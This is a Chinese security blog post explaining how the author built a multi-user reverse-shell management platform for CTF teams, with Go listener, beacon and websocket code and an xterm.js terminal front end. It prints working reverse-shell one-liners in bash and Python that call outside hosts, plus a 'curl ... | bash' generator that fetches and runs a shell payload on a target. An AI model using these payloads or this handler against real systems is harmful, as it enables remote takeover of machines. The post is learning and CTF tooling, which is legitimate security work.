从零开始搭建一个反弹shell协同平台

阅读量260781

|评论1

|

发布时间 : 2021-10-11 15:30:06

 

0x00 前言

在各项CTF比赛中,经常需要执行反弹shell来进一步操作,然而反弹shell一般需要公网环境,而且在CTF这种需要多人协作的场景下,个人利用nc等工具接收反弹shell有局限性。最近正好在学习网络编程,于是萌生了搭建一个反弹shell协同平台的想法。

反弹shell的原理

一个最基础的反弹shell命令如下

/bin/bash -i >& /dev/tcp/example.com/8888 0>&1
/bin/bash -i 是以交互模式启动bash环境
>& 表示将交互式Shell发送给后续的文件,并且将&联合符号后面的内容也发送到重定向
/dev/tcp/example.com/8888 实际是 `bash` 实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。
0>&1 表示将标准的输入与标准输出相结合,都发给重定向文件
2>&1 表示将标准输出和标准错误输出都发送到socket文件中,即我们能够在控制端看到命令的返回,在被控端看不到相关信息。

 

0x01 后端设计

在反弹shell的过程中,我们在接收端一般使用的是netcat

比如

nc -lvp 12333

实际上就是在端口12333监听网络连接,那么我们在后端监听一个端口进行操作也是一样的。为了实现端口复用和协同工作,这里采取了一种比较简单的思路,即Listener负责监听端口,Beacon用来获取TCP连接,WsConn用来传输前后端数据实现反弹shell命令执行的输入和输出回显

Listener

结构如下

type Listener struct {
    Name         string       `json:"name"`
    Host         string       `json:"lhost"`
    Port         int          `json:"lport"`
    Closed       bool         `json:"closed"`
    socket       net.Listener `json:"-"`     //listener 启动的socket
    stoppedChan  chan bool    `json:"-"`     //停止TCP socket监听信号量
}

Listener 本质上是监听一个网络地址的TCP连接,所以我们需要Host和Port,并且拥有一个SokcetName可以用来定位一个Listenr

golang可以通过net.Listener开启监听

func (listener *Listener) Start() error {
    addr := fmt.Sprintf("%s:%d", listener.Host, listener.Port)
    var err error
    listener.socket, err = net.Listen("tcp", addr)
    listener.taskChan = make(chan bool, 1)
    listener.receivedChan = make(chan bool, 1)
    listener.stoppedChan = make(chan bool, 1)
    if err != nil {
        global.SERVER_LOG.Error("tcp listener error")
        return err
    }
    global.SERVER_LOG.Debugf("listener %s start listen at %s", listener.Name, addr)
    listener.Closed = false
    go listener.serve()
    return nil
}

在获得一个TCP连接后,我们将他交给Beacon处理,可以看到beacon会处理获得的连接,并开启两个协程go beacon.WritePump()go beacon.ReSPump()

func (listener *Listener) serve() {
    for {
        conn, err := listener.socket.Accept()
        if err != nil {
            global.SERVER_LOG.Errorf("Accept failed: %v", err)
            break
        }


        buf := make([]byte, 4096)
        n, _ := conn.(*net.TCPConn).Read(buf)
        if n > 0 {
            global.SERVER_LOG.Debugf("Shell received: %s", string(buf[0:n]))
        }

        beacon := &Beacon{}

        beacon.Construct(conn.(*net.TCPConn))

        _ = global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Sender: "server", Type: "beacon", Data: beacon, Detail: fmt.Sprintf("Shell received: %s", string(buf[0:n]))})

        global.SERVER_LOG.Debugf("before pushback beacon list:%+v and push %v", global.SERVER_BEACON_LIST, beacon)
        global.SERVER_BEACON_LIST.PushBack(beacon)
        global.SERVER_LOG.Debugf("after pushback beacon list:%v", global.SERVER_BEACON_LIST)
        go beacon.WritePump()
        go beacon.ReadPump()
    }
    listener.stoppedChan <- true
}

Beacon

根据前文部分所说的,我们的beacon用来处理反弹shell的tcp连接,当然还需要一些额外的信息用来标示beacon,初步的想法是uuid用于beacon的唯一标识符,name用来命名beacon,方便用户识别,send和receive是beacon的读写管道,为了防止beacon同时获得用户输入传输回显冲突,同时beacon需要能被多个用户同时使用,这里给beacon加了同步锁,即一个beacon同时只能执行一个用户的一条命令。

type Beacon struct {
    UUID        uuid.UUID    `json:"uuid"`
    Name        string       `json:"name"`
    shConn      *net.TCPConn `json:"-"`
    Listener    *Listener    `json:"-"`
    send        chan []byte  `json:"-"`
    receive     chan []byte  `json:"-"`
    stoppedChan chan bool    `json:"-"` //becon 掉线
    lck         sync.Mutex   `json:"-"` //一次只能执行一个用户的命令
}

向反弹shell写命令的协程即从beacon自身的待写管道输入,通过Write方法写,若写失败,则说明beacon掉线,延迟执行栈关闭连接。

//beacon写
func (b *Beacon) WritePump() {
    defer func() {
        b.shConn.Close()
    }()
    for {
        select {
        case message, ok := <-b.send:
            b.shConn.SetWriteDeadline(time.Now().Add(config.BC_Write_Wait))
            if !ok {
                // The Beacon closed the channel.
                return
            }

            b.shConn.Write(message)
        default:
            continue
        }
    }
}

读管道即将获得回显向beacon的recived缓存管道存储,如果读失败,则说明beacon掉线,断开连接

func (b *Beacon) ReadPump() {

    defer func() {
        global.SERVER_WS_HUB.BroadcastWSData(typing.WSData{Timestamp: GetNowTimeStamp(), Sender: "server", Type: "beacon", Detail: fmt.Sprintf("Beacon %s go offline", b.Name)})
        b.shConn.Close()
        DeleteBeacon(global.SERVER_BEACON_LIST, b)
    }()


    buf := make([]byte, 2048)
    for {

        n, err := b.shConn.Read(buf)
        if err != nil {
            global.SERVER_LOG.Errorf("Becon %s error: %v", b.Name, err)
            break
        }
        if n > 0 {
            b.receive <- buf[0:n]
        }
    }
}

wsConn

而实际上用户与后端建立的连接是websocket长连接,这里选用golang的gorilla websocket 与gin配套建立后端api接口,关键的WSAPI如下,其实该API主要是做了鉴权和将wsConn传入送给beacon进程,同时将beacon进程对应拿到的回显传给wsConn,在前端渲染,因为命令实际上是输入输出对应的,所以在上一条输入的输出完成前,对输入做了阻塞

func BeaconWSAPI(c *gin.Context) {
    wsConn, err := wsupgrader.Upgrade(c.Writer, c.Request, nil)

    if err != nil {
        global.SERVER_LOG.Errorf("failed to set websocket upgrade: %+v", err)
        return
    }
    defer func() {
        if err != nil {
            wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
            wsConn.Close()
        }
    }()

    beaconName, isset := c.GetQuery("name")

    if !isset {
        err = errors.New("username required")
        return
    }

    var wsMsg typing.ShData
    err = wsConn.ReadJSON(&wsMsg)

    if wsMsg.Type != "auth" {
        err = errors.New("authentication required")
        return
    }

    jwt := middleware.NewJWT()
    _, err = jwt.ParseToken(wsMsg.Data)

    if err != nil {
        return
    }

    beacon, err := util.GetBeacon(global.SERVER_BEACON_LIST, model.Beacon{Name: beaconName})

    if err != nil {
        return
    }

    for {

        err := wsConn.ReadJSON(&wsMsg)
        if err != nil {
            global.SERVER_LOG.Debug(err)
            break
        }

        if wsMsg.Type == "cmd" {
            err := beacon.ServeShDataInput(wsMsg, wsConn)
            if err != nil {
                global.SERVER_LOG.Debug(err)
                wsConn.WriteJSON(typing.ShData{Type: "error", Data: err.Error()})
            }
        }
    }
}

ServeShDataInput主要就是处理输出,这里是希望结合websocket可以避免输出阻塞,输入一条命令得到部分回显tcp包就可以实时响应渲染

func (b *Beacon) ServeShDataInput
(shData typing.ShData, wsConn *websocket.Conn) error {
    b.lck.Lock() //获取beacon锁
    defer b.lck.Unlock()

    switch shData.Type {
    case "cmd":
        b.send <- []byte(shData.Data)
    }


    timeout := time.NewTimer(config.BC_CMD_Wait)

    receivedOnce := false
    for {
        select {
        case message, ok := <-b.receive:
            if !ok {
                return errors.New("Beacon closed")
            }
            wsConn.WriteJSON(typing.ShData{Type: "cmd", Data: string(message)})
            receivedOnce = true
            timeout.Stop()
            timeout.Reset(config.BC_CMD_Reset_Wait)

        case <-timeout.C:
            if !receivedOnce {
                return errors.New("timeout")
            }
            return nil
        case <-b.stoppedChan:
            return errors.New("beacon closed")
        }
    }
}

Hub

Hub实际上是类似CoblatStirke聊天框的一个功能,通过这个功能可以实现协同时队友简单交流,也可作为一个公共信道实时广播listener和beacon上线信息。主要有Hub(管理用户以及广播信息)和User用来标识用户以及鉴权

package model

import (
    "encoding/json"
    "fmt"
    "time"

    "github.com/gorilla/websocket"
    "sh.ieki.xyz/config"
    "sh.ieki.xyz/global"

    "sh.ieki.xyz/global/typing"
)

var (
    newline = []byte{'\n'}
    space   = []byte{' '}
)

type User struct {
    Hub    *Hub            `json:"-"`
    Name   string          `json:"name"`
    wsConn *websocket.Conn `json:"-"`
    send   chan []byte     `json:"-"`
}

func (u *User) Construct(hub *Hub, name string, wsConn *websocket.Conn) {
    u.Hub = hub
    u.Name = name
    u.wsConn = wsConn
    u.send = make(chan []byte, 256)
}

//用户读管道 从客户端读
func (u *User) ReadPump() {
    defer func() {
        u.Hub.Unregister <- u
        u.Hub.BroadcastWSData(typing.WSData{Sender: "server", Type: "user", Detail: fmt.Sprintf("User %s go offline", u.Name)})
        u.wsConn.Close()
    }()
    u.wsConn.SetReadLimit(config.WS_Max_Message_Size)
    u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait))
    u.wsConn.SetPongHandler(func(string) error { u.wsConn.SetReadDeadline(time.Now().Add(config.WS_Pong_Wait)); return nil })
    for {
        _, rawMessage, err := u.wsConn.ReadMessage()
        if err != nil {
            if websocket.IsUnexpectedCloseError(err, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
                global.SERVER_LOG.Errorf("error: %v", err)
            }
            break
        }
        var wsData typing.WSData
        err = json.Unmarshal(rawMessage, &wsData)
        if err != nil {
            global.SERVER_LOG.Debugf("error Unmarshal %+v", rawMessage)
            continue
        }
        wsData.Sender = u.Name

        u.Hub.BroadcastWSData(wsData)
    }
}

//用户写通道 向客户端写
func (u *User) WritePump() {
    ticker := time.NewTicker(config.WS_Ping_Period)
    defer func() {
        ticker.Stop()
        u.wsConn.Close()
    }()
    for {
        select {
        case message, ok := <-u.send:
            u.wsConn.SetWriteDeadline(time.Now().Add(config.WS_Write_Wait))
            if !ok {
                // The hub closed the channel.
                u.wsConn.WriteMessage(websocket.CloseMessage, []byte{})
                return
            }

            w, err := u.wsConn.NextWriter(websocket.TextMessage)
            if err != nil {
                return
            }
            w.Write(message)

            // Add queued chat messages to the current websocket message.
            n := len(u.send)
            for i := 0; i < n; i++ {
                w.Write(newline)
                w.Write(<-u.send)
            }

            if err := w.Close(); err != nil {
                return
            }
        case <-ticker.C:
            u.wsConn.SetWriteDeadline(time.Now().Add(config.WS_Write_Wait))
            if err := u.wsConn.WriteMessage(websocket.PingMessage, nil); err != nil {
                return
            }
        }
    }
}

//公共频道
type Hub struct {
    // Registered clients.
    Clients map[*User]bool

    // Inbound messages from the clients.
    broadcast chan []byte

    // Register requests from the clients.
    Register chan *User

    // Unregister requests from clients.
    Unregister chan *User
}

func (h *Hub) Construct() {
    h.broadcast = make(chan []byte)
    h.Register = make(chan *User)
    h.Unregister = make(chan *User)
    h.Clients = make(map[*User]bool)
}

func (h *Hub) Run() {
    for {
        select {
        case client := <-h.Register:
            h.Clients[client] = true
        case client := <-h.Unregister:
            if _, ok := h.Clients[client]; ok {
                delete(h.Clients, client)
                close(client.send)
            }
        case message := <-h.broadcast:
            for client := range h.Clients {
                select {
                case client.send <- message:
                default:
                    close(client.send)
                    delete(h.Clients, client)
                }
            }
        }
    }
}

func (h *Hub) BroadcastWSData(wsData typing.WSData) error {
    wsData.Timestamp = GetNowTimeStamp()
    global.SERVER_LOG.Debugf("broadcast %+v", wsData)
    rawData, err := json.Marshal(wsData)
    if err != nil {
        return err
    }
    h.broadcast <- rawData
    return nil
}

Rervse Shell as servie

以服务的形式提供反弹shell payload是一个挺有意思的想法,在https://reverse-shell.sh 就有实现。

实际上在反弹shell中,除了监听的地址不同,我们所使用的payload是固定的。那么可以利用模板字符串的思想,构造payload,一个示例如下

# Reverse Shell as a Service
#
# 1. On Attacker Machine:
#      nc -l 5666
#
# 2. On The Target Machine:
#      curl http://localhost/gen/buptmerak.cn/5666 | bash
#
# 3. Enjoy it.
if command -v bash > /dev/null 2>&1; then
        /bin/bash -i >& /dev/tcp/buptmerak.cn/5666 0>&1
        exit;
fi
if command -v python > /dev/null 2>&1; then
        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("buptmerak.cn",5666)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
        exit;
fi

注意到切换可用payload是通过直接用if块,那么我们很容易写出相关模板

这里使用golang的template原生库即可,追加payload可以写在config中,实时热更新

package api

import (
    "fmt"
    "net/http"
    "strconv"
    "text/template"

    "github.com/gin-gonic/gin"
    "sh.ieki.xyz/global"
)

func GenReverseShellPayloadAPI(c *gin.Context) {
    lhost := c.Param("lhost")
    lport, err := strconv.Atoi(c.Param("lport"))

    if err != nil {
        c.String(http.StatusRequestedRangeNotSatisfiable, "something wrong")
    }

    script := `# Reverse Shell as a Service
#
# 1. On Attacker Machine:
#      nc -l {{.LPort}}
#
# 2. On The Target Machine:
#      curl http://{{.ServerUrl}} | bash
#
# 3. Enjoy it.
`
    for _, Payload := range global.SERVER_CONFIG.ReverseShellPayloadList {
        script += fmt.Sprintf(`if command -v %s > /dev/null 2>&1; then
        %s
        exit;
fi
`, Payload.Command, Payload.Payload)
    }

    scriptTmpl, _ := template.New("script").Parse(script)

    scriptTmpl.Execute(c.Writer, struct {
        ServerUrl string
        LHost     string
        LPort     int
    }{
        ServerUrl: c.Request.Host + c.Request.RequestURI,
        LHost:     lhost,
        LPort:     lport,
    })
}

 

0x02 前端设计

因为反弹shell是一个shell的环境,那么我们最好能在前端渲染一个终端,xterm。js就为我们提供了一个很好的帮助,只需要关注输入输出数据即可。

Xterm.js

实际上Xterm还存在一些坑,实际试用下来原来的几个addOn目前或多或少存在bug,而且如果是直接从后端取得stdin,stdout,试用下来会非常卡。

const msg: ShData = { type: ShDataType.CMD, data: inputChar };
if (socket.value) socket.value.send(JSON.stringify(msg));

因为每输入一个字符都需要等待一次回显,并且会导致协同输入冲突。所以还是在前端模拟终端做了部分处理,直到输入回车(一条命令结束)才将命令传输给后端。

        terminal.value.onData((inputChar: string) => {
          // 前端模拟特殊操作,并只有输入回车后才发送整段数据

          var msg:ShData;
          var leftp:string =inputBuffer.slice(0,currentPosOfInputBuffer);
          var rightp:string=inputBuffer.slice(currentPosOfInputBuffer,inputBuffer.length);

          switch(inputChar){
            case SpecialTerminalChar.BACKSPACE:
              if(currentPosOfInputBuffer <=0)
                break;
              if(currentPosOfInputBuffer === 0) 
                break;
              terminal.value?.write("\b\u001b[1P"+rightp+"\b".repeat(rightp.length));
              inputBuffer = inputBuffer.slice(0,currentPosOfInputBuffer-1) + rightp;
              currentPosOfInputBuffer -=1;
              break;
            case SpecialTerminalChar.ENETER:
              msg = { type: ShDataType.CMD, data: inputBuffer+"\n" };
              terminal.value?.write("\b".repeat(leftp.length));
              inputBuffer = "";
              currentPosOfInputBuffer = 0;
              if (socket.value) socket.value.send(JSON.stringify(msg));
              break;
            case SpecialTerminalChar.UP:
              terminal.value?.write("\b".repeat(inputBuffer.length));
              msg = { type: ShDataType.CMD, data: inputChar };
              if (socket.value) socket.value.send(JSON.stringify(msg));
              break;
            case SpecialTerminalChar.DOWN:
              terminal.value?.write("\b".repeat(inputBuffer.length));
              msg = { type: ShDataType.CMD, data: inputChar };
              if (socket.value) socket.value.send(JSON.stringify(msg));
              break;
            case SpecialTerminalChar.LEFT:
              if(currentPosOfInputBuffer <=0) {
                currentPosOfInputBuffer = 0
              }else{
                currentPosOfInputBuffer -= 1;
                terminal.value?.write(inputChar);
              }
              break;
            case SpecialTerminalChar.RIGHT:
              if(currentPosOfInputBuffer >= inputBuffer.length) {
                currentPosOfInputBuffer = inputBuffer.length
              }else{
                currentPosOfInputBuffer += 1;
                terminal.value?.write(inputChar);
              }
              break;
            case SpecialTerminalChar.CRTL_C:
              terminal.value?.write(inputChar);
              break;
            default:
              terminal.value?.write(inputChar+rightp+"\b".repeat(rightp.length));
              inputBuffer = leftp + inputChar + rightp
              currentPosOfInputBuffer += 1;
          }
          lastInputChar = inputChar;

          console.log("left part",leftp,"righ part",rightp)
    }

 

0xff 尾声

运行的实际效果如下,目前来说勉强能够使用了,代码将在github上开源以供大家学习以及改进。

https://github.com/EkiXu/reverse-shell-manager

(仅限于CTF学习研究,禁止用于非法用途)

显然,在设计和实现上仍然存在着一些不足和局限性,比如多用户shell上下文环境冲突等,但是练手网络编程还是收获颇多。

本文由Eki原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/254442

安全客 - 有思想的安全新媒体

分享到:微信
+16赞
收藏
Eki
分享到:微信

发表评论

内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66